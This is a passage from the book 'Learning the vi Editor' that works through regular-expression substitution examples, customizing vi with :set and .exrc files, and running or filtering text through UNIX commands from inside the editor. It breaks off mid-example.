:s/\(That\) or \(this\)/\u\2 or \l\1/

The result is This or that. (Don't confuse the number one with the lowercase l; the one comes after.)

\U or \L

Similar to \u or \l, but all following characters are converted to uppercase or lowercase until the end of the replacement string or until \e or \E is reached. If there is no \e or \E, all characters of the replacement text are affected by the \U or \L. For example, to uppercase Fortran, you could say:

:%s/Fortran/\UFortran/

or, using the & character to repeat the search string:

:%s/Fortran/\U&/

All pattern searches are case-sensitive. That is, a search for the will not find The. You can get around this by specifying both uppercase and lowercase in the pattern:

/[Tt]he

You can also instruct vi to ignore case by typing :set ic. See Chapter 7, Advanced Editing , for additional details.

Previous: 6.2 Context-sensitive Replacement | Learning the vi Editor | Next: 6.4 Pattern-matching Examples
6.2 Context-sensitive Replacement | Book Index | 6.4 Pattern-matching Examples
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.4 Pattern-matching Examples

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 6.3 Pattern-matching Rules Chapter 6
Global Replacement 		Next: 7. Advanced Editing

6.4 Pattern-matching Examples

Unless you are already familiar with regular expressions, the discussion of special characters above probably looks forbiddingly complex. A few more examples should make things clearer. In the examples that follow, a square ( [image]) is used to mark a blank space; it is not a special character.

Let's work through how you might use some special characters in a replacement. Suppose that you have a long file and that you want to substitute the word child with the word children throughout that file. You first save the edited buffer with :w, then try the global replacement:

:%s/child/children/g

When you continue editing, you notice occurrences of words such as childrenish. You have unintentionally matched the word childish. Returning to the last saved buffer with :e!, you now try:

:%s/child   /children   /g

(Note that there is a space after child.) But this command misses the occurrences child., child,, child: and so on. After some thought, you remember that brackets allow you to specify one character from among a list, so you come upon the solution:

:%s/child[   ,.;:!?]/children[   ,.;:!?]/g

This searches for child followed by either a space (indicated by [image]) or any one of the punctuation characters ,.;:!?. You expect to replace this with children followed by the corresponding space or punctuation mark, but you've ended up with a bunch of punctuation marks after every occurrence of children. You need to save the space and punctuation marks inside a \( and \). Then you can "replay" them with a \1. Here's the next attempt:

:%s/child\([   ,.;:!?]\)/children\1/g

When the search matches a character inside the \( and \), the \1 on the right-hand side restores the same character. The syntax may seem awfully complicated, but this command sequence can save you a lot of work! Any time you spend learning regular expression syntax will be repaid a thousandfold!

The command is still not perfect, though. You've noticed that occurrences of Fairchild have been changed, so you need a way to match child when it isn't part of another word.

As it turns out, vi (but not all other programs that use regular expressions) has a special syntax for saying "only if the pattern is a complete word." The character sequence \< requires the pattern to match at the beginning of a word, whereas \> requires the pattern to match at the end of a word. Using both will restrict the match to a whole word. So, in the task given above, \<child\> will find all instances of the word child, whether followed by punctuation or spaces. Here's the substitution command you should use:

:%s/\<child\>/children/g

6.4.1 Search for General Class of Words

Suppose you have subroutine names beginning with the prefixes: mgi, mgr and mga.
mgibox routine,
mgrbox routine,
mgabox routine,

If you want to save the prefixes but want to change the name box to square, either of the following replacement commands will do the trick. The first example illustrates how \( and \) can be used to save whatever pattern was actually matched. The second example shows how you can search for one pattern but change another.

:g/mg\([ira]\)box/s//mg\1square/g

mgisquare routine,
mgrsquare routine,
mgasquare routine,

The global replacement keeps track of whether an i, r or a is saved. In that way, box is changed to square only when box is part of the routine's name.

:g/mg[ira]box/s/box/square/g

mgisquare routine,
mgrsquare routine,
mgasquare routine,

Has the same effect as the previous command, but it is a little less safe since it could change other instances of box on the same line, not just those within the routine names.

6.4.2 Block Move by Patterns

You can also move blocks of text delimited by patterns. For example, assume you have a 150-page reference manual. All references pages are organized into three paragraphs with the same three headings: SYNTAX, DESCRIPTION, and PARAMETERS. A sample of one reference page follows:

.Rh 0 "Get status of named file" "STAT"
.Rh "SYNTAX"
.nf
integer*4 stat, retval
integer*4 status(11)
character*123 filename
...
retval = stat (filename, status)
.fi
.Rh "DESCRIPTION"
Writes the fields of a system data structure into the
status array.
These fields contain (among other
things) information about the file's location, access
privileges, owner, and time of last modification.
.Rh "PARAMETERS"
.IP "\fBfilename\fR" 15n
A character string variable or constant containing
the UNIX pathname for the file whose status you want
to retrieve.
You can give the ...

Suppose that it is decided to move DESCRIPTION above the SYNTAX paragraph. With pattern matching, you can move blocks of text on all 150 pages with one command!

:g /SYNTAX/,/DESCRIPTION/-1 mo /PARAMETERS/-1

This command operates on the block of text between the line containing the word SYNTAX and the line just before the word DESCRIPTION (/DESCRIPTION/-1). The block is moved (using mo) to the line just before PARAMETERS (/PARAMETERS/-1). Note that ex can place text only below the line specified. To tell ex to place text above a line, you first have to move up a line with -1, and then place your text below. In a case like this, one command saves literally hours of work. (This is a real-life example - we once used a pattern match like this to rearrange a reference manual containing hundreds of pages.)

Block definition by patterns can be used equally well with other ex commands. For example, if you wanted to delete all DESCRIPTION paragraphs in the reference chapter, you could enter:

:g/DESCRIPTION/,/PARAMETERS/-1d

This very powerful kind of change is implicit in ex's line addressing syntax, but it is not readily apparent even to experienced users. For this reason, whenever you are faced with a complex, repetitive editing task, take the time to analyze the problem and find out if you can apply pattern-matching tools to get the job done.

6.4.3 More Examples

Since the best way to learn pattern matching is by example, here is a list of pattern-matching examples, with explanations. Study the syntax carefully, so that you understand the principles at work. You should then be able to adapt these examples to your own situation.

  1. Put troff italicization codes around the word RETURN:

    :%s/RETURN/\\fIRETURN\\fP/g

    Notice that two backslashes (\\) are needed in the replacement, because the backslash in the troff italicization code will be interpreted as a special character. (\fI alone would be interpreted as fI; you must type \\fI to get \fI.)

  2. Modify a list of pathnames in a file:

    :%s/\/usr\/tim/\/usr\/linda/g

    A slash (used as a delimiter in the global replacement sequence) must be escaped with a backslash when it is part of the pattern or replacement; use \/ to get /. An alternate way to achieve this same effect is to use a different character as the pattern delimiter. For example, you could make the above replacement using colons as delimiters. Thus:

    :%s:/usr/tim:/usr/linda:g

  3. Change all periods to semicolons in lines 1 to 10:

    :1,10s/\./;/g

    A dot has special meaning in regular expression syntax and must be escaped with a backslash (\.).

  4. Change all occurrences of the word help (or Help) to HELP:

    :%s/[Hh]elp/HELP/g

    or:

    :%s/[Hh]elp/\U&/g

    The \U changes the pattern that follows to all uppercase. The pattern that follows is the repeated search pattern, which is either help or Help.

  5. Replace one or more spaces with a single space:

    :%s/      */   /g

    Make sure you understand how the asterisk works as a special character. An asterisk following any character (or following any regular expression that matches a single character, such as . or [a-z]) matches zero or more instances of that character. Therefore, you must specify two spaces followed by an asterisk to match one or more spaces (one space, plus zero or more spaces).

  6. Replace one or more spaces following a colon with two spaces:

    :%s/:      */:      /g

  7. Replace one or more spaces following a period or a colon with two spaces:

    :%s/\([:.]\)      */\1      /g

    Either of the two characters within brackets can be matched. This character is saved into a hold buffer, using \( and \), and restored on the right-hand side by the \1. Note that within brackets a special character such as a dot does not need to be escaped.

  8. Standardize various uses of a word or heading:

    :%s/^Note[   :s]*/Notes:   /g

    The brackets enclose three characters: a space, a colon, and the letter s. Therefore, the pattern Note[ s:] will match Note [image] , Notes or Note:. An asterisk is added to the pattern so that it also matches Note (with zero spaces after it) and Notes: (the already correct spelling). Without the asterisk, Note would be missed entirely and Notes: would be incorrectly changed to Notes: :.

  9. Delete all blank lines:

    :g/^$/d

    What you are actually matching here is the beginning of the line (^) followed by the end of the line ($), with nothing in between.

  10. Delete all blank lines, plus any lines that contain only white space:

    :g/^[   tab]*$/d

    (In the line above, a tab is shown as tab.) A line may appear to be blank but may in fact contain spaces or tabs. The previous example will not delete such a line. This example, like the one above it, searches for the beginning and end of the line. But instead of having nothing in between, the pattern tries to find any number of spaces or tabs. If no spaces or tabs are matched, the line is blank. To delete lines that contain white space but that aren't blank, you would have to match lines with at least one space or tab:

    :g/^[   tab][   tab]*$/d

  11. Delete all leading spaces on a line:

    :%s/^      *\(.*\)/\1/

    Use ^ * to search for one or more spaces at the beginning of a line; then use \(.*\) to save the rest of the line into the first hold buffer. Restore the line without spaces, using \1.

  12. Delete all spaces at the end of a line:

    :%s/\(.*\)      *$/\1/

    Use \(.*\) to save all the text on the line, but only up until one or more spaces at the end of the line. Restore the saved text without the spaces.

    The substitutions in this example and the previous one will happen only once on any given line, so the g option doesn't need to follow the replacement string.

  13. Insert a > [image] [image] at the start of every line in a file:

    :%s/^/>      /

    What we're really doing here is "replacing" the start of the line with > [image] [image] Of course, the start of the line (being a logical construct, not an actual character) isn't really replaced!

    This command is useful when replying to mail or USENET news postings. Frequently, it is desirable to include part of the original message in your reply. By convention, the inclusion is distinguished from your reply by setting off the included text with a right angle bracket and a couple of spaces at the start of the line. This can be done easily as shown above. (Typically, only part of the original message will be included. Unneeded text can be deleted either before or after the above replacement.) Advanced mail systems do this automatically. However, if you're using a primitive mail program, you may need to do it manually.

  14. Add a period to the end of the next six lines:

    :.,+5s/$/./

    The line address indicates the current line plus five lines. The $ indicates the end of line. As in the previous example, the $ is a logical construct. You aren't really replacing the end of the line.

  15. Reverse the order of all hyphen-separated items in a list:

    :%s/\(.*\)   -   \(.*\)/\2   -   \1/

    Use \(.*\) to save text on the line into the first hold buffer, but only until you find [image] - [image]. Then use \(.*\) to save the rest of the line into the second hold buffer. Restore the saved portions of the line, reversing the order of the two hold buffers. The effect of this command on several items is shown below.

    more - display files

    becomes:

    display files - more

    and:

    lp - print files

    becomes:

    print files - lp

  16. Change every word in a file to uppercase:

    :%s/.*/\U&/

    or:

    :%s/./\U&/g

    The \U flag at the start of the replacement string tells vi to change the replacement to uppercase. The & character replays the search pattern as the replacement. These two commands are equivalent; however, the first form is considerably faster, since it results in only one substitution per line (.* matches the entire line, once per line), whereas the second form results in repeated substitutions on each line (. matches only a single character, with the replacement repeated on account of the trailing g).

  17. Reverse the order of lines in a file: [1]

    [1] From the article by Walter Zintz in UNIX World, May 1990.

    :g/.*/mo0

    The search pattern matches all lines (a line contains zero or more characters). Each line is moved, one by one, to the top of the file (that is, moved after imaginary line 0). As each matched line is placed at the top, it pushes the previously moved lines down, one by one, until the last line is on top. Since all lines have a beginning, the same result can be achieved more succinctly:

    :g/^/mo0

  18. In a database, on all lines not marked Paid in full, append the phrase Overdue:

    :g!/Paid   in   full/s/$/Overdue/

    or the equivalent:

    :v/Paid   in   full/s/$/Overdue/

    To affect all lines except those matching your pattern, add a ! to the g command, or simply use the v command.

  19. For any line that doesn't begin with a number, move the line to the end of the file:

    :g!/^[1-9]/m$

    or:

    :g/^[^1-9]/m$

    As the first character within brackets, a caret negates the sense, so the two commands have the same effect. The first one says, "Don't match lines that begin with a number," and the second one says, "Match lines that don't begin with a number."

  20. Change manually numbered section heads (e.g., 1.1, 1.2, etc.) to a troff macro (e.g., .Ah for an A-level heading):

    :%s/[1-9]\.[1-9]/.Ah/

    The search string matches a digit other than zero, followed by a period, followed by another nonzero digit. Notice that the period doesn't need to be escaped in the replacement (though a \ would have no effect, either). The command above won't find chapter numbers containing two or more digits. To do so, modify the command like this:

    :%s/[1-9][0-9]*\.[1-9]/.Ah/

    Now it will match chapters 10 to 99 (digits 1 to 9, followed by a digit), 100 to 999 (digits 1 to 9, followed by two digits), etc. The command still finds chapters 1 to 9 (digits 1 to 9, followed by no digit).

  21. Remove numbering from section headings in a document. You want to change the sample lines:

    2.1 Introduction
10.3.8 New Functions

    into the lines:

    Introduction
New Functions

    Here's the command to do this:

    :%s/^[1-9][0-9]*\.[1-9][1-9.]*   //

    The search pattern resembles the one in the previous example, but now the numbers vary in length. At a minimum, the headings contain number, period, number, so you start with the search pattern from the previous example:

    [1-9][0-9]*\.[1-9]

    But in this example, the heading may continue with any number of digits or periods:

    [1-9.]*

  22. Change the word Fortran to the phrase FORTRAN (acronym of FORmula TRANslation):

    :%s/\(For\)\(tran\)/\U\1\2\E   (acronym   of   \U\1\Emula   \U\2\Eslation)/g

    First, since we notice that the words FORmula and TRANslation use portions of the original word, we decide to save the search pattern in two pieces: \(For\) and \(tran\). The first time we restore it, we use both pieces together, converting all characters to uppercase: \U\1\2. Next, we undo the uppercase with \E; otherwise the remaining replacement text would all be uppercase. The replacement continues with actual typed words, then we restore the first hold buffer. This buffer still contains For, so again we convert to uppercase first: \U\1. Immediately after, we lowercase the rest of the word: \Emula. Finally, we restore the second hold buffer. This contains tran, so we precede the "replay" with uppercase, follow it with lowercase, and type out the rest of the word: \U\2\Eslation).

6.4.4 A Final Look at Pattern Matching

We conclude this chapter by presenting sample tasks that involve complex pattern-matching concepts. Rather than solve the problems right away, we'll work toward the solutions step by step.

6.4.4.1 Deleting an Unknown Block of Text

Suppose you have a few lines with this general form:

the best of times; the worst of times:  moving
The coolest of times; the worst of times:  moving

The lines that you're concerned with always end with moving, but you never know what the first two words might be. You want to change any line that ends with moving to read:

The greatest of times; the worst of times:  moving

Since the changes must occur on certain lines, you need to specify a context-sensitive global replacement. Using :g/moving$/ will match lines that end with moving. Next, you realize that your search pattern could be any number of any character, so the metacharacters .* come to mind. But these will match the whole line unless you somehow restrict the match. Here's your first attempt:

:g/moving$/s/.*of/The   greatest   of/

This search string, you decide, will match from the beginning of the line to the first of. Since you needed to specify the word of to restrict the search, you simply repeat it in the replacement. Here's the resulting line:

The greatest of times:  moving

Something went wrong. The replacement gobbled the line up to the second of instead of the first. Here's why. When given a choice, the action of "match any number of any character" will match as much text as possible. In this case, since the word of appears twice, your search string finds:

the best of times; the worst of

rather than:

the best of

Your search pattern needs to be more restrictive:

:g/moving$/s/.*of times;/The greatest of times;/

Now the .* will match all characters up to the instance of the phrase of times;. Since there's only one instance, it has to be the first.

There are cases, though, when it is inconvenient, or even incorrect, to use the .* metacharacters. For example, you might find yourself typing many words to restrict your search pattern, or you might be unable to restrict the pattern by specific words (if the text in the lines varies widely). The next section presents such a case.

6.4.4.2 Switching Items in a Database

Suppose you want to switch the order of all last names and first names in a database. The lines look like this:

Name: Feld, Ray; Areas: PC, UNIX; Phone: 123-4567
Name: Joy, Susan S.; Areas: Graphics; Phone: 999-3333

The name of each field ends with a colon, and each field is separated by a semicolon. Using the top line as an example, you want to change Feld, Ray to Ray Feld. We'll present some commands that look promising but don't work. After each command, we show you the line the way it looked before the change and after the change.

:%s/: \(.*\), \(.*\);/: \2 \1;/

Name: Feld, Ray; Areas: PC, UNIX; Phone: 123-4567	Before
Name: UNIX Feld, Ray; Areas: PC; Phone: 123-4567	After

We've highlighted the contents of the first hold buffer in bold and the contents of the second hold buffer in italic. Note that the first hold buffer contains more than you want. Since it was not sufficiently restricted by the pattern that follows it, the hold buffer was able to save up to the second comma. Now you try to restrict the contents of the first hold buffer:

:%s/: \(....\), \(.*\);/: \2 \1;/

Name: Feld, Ray; Areas: PC, UNIX; Phone: 123-4567	Before
Name: Ray; Areas: PC, UNIX Feld; Phone: 123-4567	After

Here you've managed to save the last name in the first hold buffer, but now the second hold buffer will save anything up to the last semicolon on the line. Now you restrict the second hold buffer, too:

:%s/: \(....\), \(...\);/: \2 \1;/

Name: Feld, Ray; Areas: PC, UNIX; Phone: 123-4567	Before
Name: Ray Feld; Areas: PC, UNIX; Phone: 123-4567	After

This gives you what you want, but only in the specific case of a four-letter last name and a three-letter first name. (The previous attempt included the same mistake.) Why not just return to the first attempt, but this time be more selective about the end of the search pattern?

:%s/: \(.*\), \(.*\); Area/: \2 \1;/

Name: Feld, Ray; Areas: PC, UNIX; Phone: 123-4567	Before
Name: Ray Feld; Areas: PC, UNIX; Phone: 123-4567	After

This works, but we'll continue the discussion by introducing an additional concern. Suppose that the Area field isn't always present or isn't always the second field. The above command won't work on such lines.

We introduce this problem to make a point. Whenever you rethink a pattern match, it's usually better to work toward refining the variables (the metacharacters), rather than using specific text to restrict pattterns. The more variables you use in your patterns, the more powerful your commands will be.

In the current example, think again about the patterns you want to switch. Each word starts with an uppercase letter and is followed by any number of lowercase letters, so you can match the names like this:

[A-Z][a-z]*

Ok, but a last name might also have more than one uppercase letter (McFly, for example), so you'd want to search for this possibility in the second and succeeding letters:

[A-Z][A-Za-z]*

It doesn't hurt to use this for the first name, too (you never know when McGeorge Bundy will turn up). Your command now becomes:

:%s/: \([A-Z][A-Za-z]*\), \([A-Z][A-Za-z]*\);/: \2 \1;/

Quite forbidding, isn't it? It still doesn't cover the case of a name like Joy, Susan S. Since the first-name field might include a middle initial, you need to add a space and a period within the second pair of brackets. But enough is enough. Sometimes, specifying exactly what you want is more difficult than specifying what you don't want. In your sample database, the last names end with a comma, so a last-name field can be thought of as a string of characters that are not commas:

[^,]*

This pattern matches characters up until the first comma. Similarly, the first-name field is a string of characters that are not semicolons:

[^;]*

Putting these more efficient patterns back into your previous command, you get this:

:%s/: \([^,]*\), \([^;]*\);/: \2 \1;/

The same command could also be entered as a context-sensitive replacement. If all lines begin with Name, you can say:

:g/^Name/s/: \([^,]*\), \([^;]*\);/: \2 \1;/

You can also add an asterisk after the first space, in order to match a colon that has extra spaces (or no spaces) after it:

:g/^Name/s/: *\([^,]*\), \([^;]*\);/: \2 \1;/

6.4.4.3 Using :g to Repeat a Command

As we've usually seen the :g command used, it selects lines that are typically then edited by subsequent commands on the same line - for example, we select lines with g, and then make substitutions on them, or select them and delete them:

:g/mg[ira]box/s/box/square/g
:g/^$/d

However, in his two-part tutorial in UNIX World, [2] Walter Zintz makes an interesting point about the g command. This command selects lines - but the associated editing commands need not actually affect the lines that are selected.

[2] Part 1, "vi Tips for Power Users," appears in the April 1990 issue of UNIX World. Part 2, "Using vi to Automate Complex Edits," appears in the May 1990 issue. The examples presented are from Part 2.

Instead, he demonstrates a technique by which you can repeat ex commands some arbitrary number of times. For example, suppose you want to place ten copies of lines 12 through 17 of your file at the end of your current file. You could type:

:1,10g/^/ 12,17t$

This is a very unexpected use of g, but it works! The g command selects line 1, executes the specified t command, then goes on to line 2, to execute the next copy command. When line 10 is reached, ex will have made ten copies.

6.4.4.4 Collecting Lines

Here's another advanced g example, again building on suggestions provided in Zintz's article. Suppose you're editing a document that consists of several parts. Part 2 of this file is shown below, using ellipses to show omitted text and displaying line numbers for reference.

301  Part 2
302  Capability Reference
303  .LP
304  Chapter 7
305  Introduction to the Capabilities
306  This and the next three chapters ...

400  ... and a complete index at the end.
401  .LP
402  Chapter 8
403  Screen Dimensions
404  Before you can do anything useful
405  on the screen, you need to know ...

555  .LP
556  Chapter 9
557  Editing the Screen
558  This chapter discusses ...

821  .LP
822  Part 3:
823  Advanced Features
824  .LP
825  Chapter 10

The chapter numbers appear on one line, their titles appear on the line below, and the chapter text (highlighted for emphasis) begins on the line below that. The first thing you'd like to do is copy the beginning line of each chapter, sending it to an already existing file called begin.

Here's the command that does this:

:g /^Chapter/ .+2w >> begin

You must be at the top of your file before issuing this command. First you search for Chapter at the start of a line, but then you want to run the command on the beginning line of each chapter - the second line below Chapter. Because a line beginning with Chapter is now selected as the current line, the line address .+2 will indicate the second line below it. The equivalent line addresses +2 or ++ work as well. You want to write these lines to an existing file named begin, so you issue the w command with the append operator >>.

Suppose you want to send the beginnings of chapters that are only within Part 2. You need to restrict the lines selected by g, so you change your command to this:

:/^Part 2/,/^Part 3/g /^Chapter/ .+2w >> begin

Here, the g command selects the lines that begin with Chapter, but it searches only that portion of the file from a line starting with Part 2 through a line starting with Part 3. If you issue the above command, the last lines of the file begin will read as follows:

This and the next three chapters ...
Before you can do anything useful
This chapter discusses ...

These are the lines that begin Chapters 7, 8, and 9.

In addition to the lines you've just sent, you'd like to copy chapter titles to the end of the document, in preparation for making a table of contents. You can use the vertical bar to tack a second command after your first command, like so:

:/^Part 2/,/^Part 3/g /^Chapter/ .+2w >> begin | +t$

Remember that with any subsequent command, line addresses are relative to the previous command. The first command has marked lines (within Part 2) that start with Chapter, and the chapter titles appear on a line below such lines. Therefore, to access chapter titles in the second command, the line address is + (or the equivalents +1 or .+1). Then use t$ to copy the chapter titles to the end of the file.

As these examples illustrate, thought and experimentation may lead you to some unusual editing solutions. Don't be afraid to try things! Just be sure to back up your file first.

Previous: 6.3 Pattern-matching Rules | Learning the vi Editor | Next: 7. Advanced Editing
6.3 Pattern-matching Rules | Book Index | 7. Advanced Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] Advanced Editing

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 6.4 Pattern-matching Examples Chapter 7 Next: 7.2 Executing UNIX Commands

7. Advanced Editing

Contents:
Customizing vi
Executing UNIX Commands
Saving Commands
Using ex Scripts
Editing Program Source Code

This chapter introduces you to some of the more advanced capabilities of the vi and ex editors. You should be reasonably familiar with the material presented in the earlier chapters of this book before you start working with the concepts presented in this chapter.

This chapter is divided into five parts. The first part discusses a number of ways to set options that allow you to customize your editing environment. You'll learn how to use the set command and how to create a number of different editing environments using .exrc files.

The second part discusses how you can execute UNIX commands from within vi, and how you can use vi to filter text through UNIX commands.

The third part discusses various ways to save long sequences of commands by reducing them to abbreviations, or even to commands that use only one keystroke (this is called mapping keys). It also includes a section on @-functions, which allow you to store command sequences in a buffer.

The fourth part discusses the use of ex scripts from the UNIX command line or from within shell scripts. Scripting provides a powerful way to make repetitive edits.

The fifth part discusses some features of vi that are especially useful to programmers. vi has options that control line indentation and an option to display invisible characters (specifically tabs and newlines). There are search commands that are useful with program code blocks or with C functions.

7.1 Customizing vi

You have seen that vi operates differently on various terminals. (For instance, on "dumb" terminals, vi inserts @ symbols in place of deleted lines; on intelligent terminals, vi redraws the screen with each edit.) vi gets operating instructions about your terminal type from a file called /etc/termcap. (In System V, termcap has been replaced with an alternate terminal database called terminfo.)

There are also a number of options that you can set from within vi that affect how it operates. For example, you can set a right margin that will cause vi to wrap lines automatically, so you don't need to insert carriage returns.

You can change options from within vi by using the ex command :set. In addition, whenever vi is started up, it reads a file in your home directory called .exrc for further operating instructions. By placing :set commands in this file, you can modify the way vi acts whenever you use it.

You can also set up .exrc files in local directories to initialize various options that you want to use in different environments. For example, you might define one set of options for editing English text, but another set for editing source programs. The .exrc file in your home directory will be executed first, then the one in your current directory.

Finally, any commands stored in the shell variable EXINIT will be executed by vi on startup. If there is a conflict between settings made in .exrc and EXINIT, those in .exrc take precedence.

7.1.1 The :set Command

There are two types of options that can be changed with the :set command: toggle options, which are either on or off, and options that take a numeric or string value (such as the location of a margin or the name of a file).

Toggle options may be on or off by default. To turn a toggle option on, the command is:

:set option

To turn a toggle option off, the command is:

:set nooption

For example, to specify that pattern searches should ignore case, type:

:set ic

If you want vi to return to being case-sensitive in searches, give the command:

:set noic

Some options have a value assigned to them. For example, the window option sets the number of lines shown in the screen's "window." You set values for these options with an equal sign (=):

:set window=20

During a vi session, you can check which options vi is using. The command:

:set all

displays the complete list of options, including options that you have set and defaults that vi has "chosen." The display should look something like this:

noautoindent      nooptimize          tabstop=8
autoprint         open                taglength=0
noautowrite       prompt              term=wy50
nobeautify        noreadonly          noterse
directory=/tmp    redraw              timeout
noedcompatible    remap               ttytype=wy50
noerrorbells      report=5            warn
hardtabs=8        scroll=11           window=20
noignorecase      sections=AhBhChDh   wrapscan
nolisp            shell=/bin/csh      wrapmargin=10
nolist            noshowmatch         nowriteany
magic             noslowopen
mesg              paragraphs=IPLPPPQP LIpp1pipbb
number            tags=tags /usr/lib/tags

You can find out the current value of any individual option by name, using the command:

:set option?

The command:

:set

shows options that you have specifically changed, or set, either in your .exrc file or during the current session. For example, the display might look like this:

number sect=AhBhChDh window=20 wrapmargin=10

7.1.2 The .exrc File

The .exrc file that controls your own vi environment is in your home directory (the directory you are in when you first log on). You can modify the .exrc file with the vi editor, just as you can any other text file.

If you don't yet have an .exrc file, simply use vi to create one. Enter into this file the set, ab, and map commands that you want to have in effect whenever you use vi or ex. (ab and map are discussed later in this chapter.) A sample .exrc file looks like this:

set nowrapscan wrapmargin=7
set sections=SeAhBhChDh nomesg
map q :w^M:n^M
map v dwElp
ab ORA O'Reilly & Associates, Inc.

Since the file is actually read by ex before it enters visual mode (vi), commands in .exrc should not have a preceding colon.

7.1.3 Alternate Environments

In addition to reading the .exrc file in your home directory, vi will read a file called .exrc in the current directory. This allows you to set options that are appropriate to a particular project.

For example, you might want to have one set of options in a directory mainly used for programming:

set number lisp autoindent sw=4 terse
set tags=/usr/lib/tags

and another set of options in a directory used for text editing:

set wrapmargin=15 ignorecase

Note that you can set certain options in the .exrc file in your home directory and unset them in a local directory.

NOTE: In System V, Release 3.2 and later, vi doesn't read .exrc files in the current directory unless you first set the exrc option in your home directory's .exrc file:

set exrc

This mechanism prevents other people from placing, in your working directory, an .exrc file whose commands might jeopardize the security of your system.

You can also define alternate vi environments by saving option settings in a file other than .exrc and reading in that file with the :so command. For example:

:so .progoptions

Local .exrc files are also useful for defining abbreviations and key mappings (described later in this chapter). When we write a book or manual, we save all abbreviations to be used in that book in an .exrc file in the directory in which the book is being created.

7.1.4 Some Useful Options

As you can see when you type :set all, there are an awful lot of options that can be set. Many of them are used internally by vi and aren't usually changed. Others are important in certain cases, but not in others (for example, noredraw and window can be useful on a dialup line at a low baud rate). The table in Appendix B, Setting Environment Options , contains a brief description of each option. We recommend that you take some time to play with setting options - if an option looks interesting, try setting it (or unsetting it) and watch what happens while you edit. You may find some surprisingly useful tools.

As discussed earlier in this book, one option, wrapmargin, is essential for editing nonprogram text. wrapmargin specifies the size of the right margin that will be used to autowrap text as you type. (This saves manually typing carriage returns.) A typical value is 7 to 15:

:set wrapmargin=10

Three other options control how vi acts when conducting a search. Normally, a search differentiates between uppercase and lowercase (foo does not match Foo), wraps around to the beginning of the file (meaning that you can begin your search anywhere in the file and still find all occurrences), and recognizes wildcard characters when pattern matching. The default settings that control these options are noignorecase, wrapscan, and magic, respectively. To change any of these defaults, you would set the opposite toggle options: ignorecase, nowrapscan, and nomagic.

Options that may be of particular interest to programmers include: lisp, autoindent, showmatch, tabstop, shiftwidth, number, and list, as well as their opposite toggle options.

Previous: 6.4 Pattern-matching Examples | Learning the vi Editor | Next: 7.2 Executing UNIX Commands
6.4 Pattern-matching Examples | Book Index | 7.2 Executing UNIX Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.2 Executing UNIX Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 7.1 Customizing vi Chapter 7
Advanced Editing 		Next: 7.3 Saving Commands

7.2 Executing UNIX Commands

You can display or read in the results of any UNIX command while you are editing in vi. An exclamation mark (!) tells ex to create a shell and to regard what follows as a UNIX command:

:!command

So if you are editing and you want to check the time or date without exiting vi, you can enter:

:!date

The time and date will appear on your screen; press [RETURN] to continue editing at the same place in your file.

If you want to give several UNIX commands in a row without returning to vi editing in between, you can create a shell with the ex command:

:sh

When you want to exit the shell and return to vi, press [CTRL-D].

You can combine :read with a call to UNIX, to read the results of a UNIX command into your file. As a very simple example:

:r !date

will read in the system's date information into the text of your file. By preceding the :r command with a line address, you can read the result of the command in at any desired point in your file. By default, it will appear after the current line.

Suppose you are editing a file and want to read in four phone numbers from a file called phone, but in alphabetical order. phone reads:

Willing, Sue  333-4444
Walsh, Linda  555-6666
Quercia, Valerie  777-8888
Dougherty, Nancy  999-0000

The command:

:r !sort phone

reads in the contents of phone after they have been passed through the sort filter:

Dougherty, Nancy  999-0000
Quercia, Valerie  777-8888
Walsh, Linda  555-6666
Willing, Sue  333-4444

Suppose you are editing a file and want to insert text from another file in the directory, but you can't remember the new file's name. You could perform this task the long way: exit your file, give the ls command, note the correct filename, reenter your file, and search for your place.

Or you could do the task in fewer steps:

Keystrokes Results
:!ls
file1        file2         letter
newfile      practice

Display list of files in directory. Note correct filename. Press RETURN to continue editing.

:r newfile
"newfile 35 lines, 949 characters

Read in the new file.

7.2.1 Filtering Text Through a Command

You can also send a block of text as standard input to a UNIX command. The output from this command replaces the block of text in the buffer. You can filter text through a command from either ex or vi. The main difference between the two methods is that you indicate the block of text with line addresses in ex and with text objects (movement commands) in vi.

7.2.1.1 Filtering Text with ex

The first example demonstrates how to filter text with ex. Assume that the list of names in the preceding example, instead of being contained in a separate file called phone, is already contained in the current file on lines 96 through 99. You simply type the addresses of the lines you want to filter, followed by an exclamation mark and the UNIX command to be executed. For example, the command:

:96,99!sort

will pass lines 96 through 99 through the sort filter and replace those lines with the output of sort.

7.2.1.2 Filtering Text with vi

In vi text is filtered through a UNIX command by typing an exclamation mark followed by any of vi's movement keystrokes that indicate a block of text, and then by the UNIX command line to be executed. For example:

!)command

will pass the next sentence through command.

There are a couple of unusual features about how vi acts when you use this feature.

  • First, the exclamation mark doesn't appear on your screen right away. When you type the keystroke(s) for the text object you want to filter, the exclamation mark appears at the bottom of the screen, but the character you type to reference the object does not.

  • Second, text blocks must be more than one line, so you can use only the keystrokes that would move more than one line ( G, { }, ( ), [[ ]], +, - ). To repeat the effect, a number may precede either the exclamation mark or the text object. (For example, both !10+ and 10!+ would indicate the next ten lines.) Objects such as w do not work unless enough of them are specified so as to exceed a single line. You can also use a slash (/) followed by a pattern and a carriage return to specify the object. This takes the text up to the pattern as input to the command.

  • Third, there is a special text object that can be used only with this command syntax: you can specify the current line by entering a second exclamation mark:

    !!command

    Remember that either the entire sequence or the text object can be preceded by a number to repeat the effect. For instance, to change lines 96 through 99 as in the above example, you could position the cursor on line 96 and enter either:

    4!!sort

    or:

    !4!sort

As another example, assume you have a portion of text in a file that you want to change from lowercase to uppercase letters. You could process that portion with the tr command to change the case. In this example, the second sentence is the block of text that will be filtered to the command.

One sentence before.
With a screen editor you can scroll the page
move the cursor, delete lines, insert characters,
and more, while seeing the results of your edits
as you make them.
One sentence after.
Keystrokes Results
!)
One sentence after.
~
~
~
!_

An exclamation mark appears on the last line to prompt you for the UNIX command.

tr `[a-z]` `[A-Z]`
One sentence before.
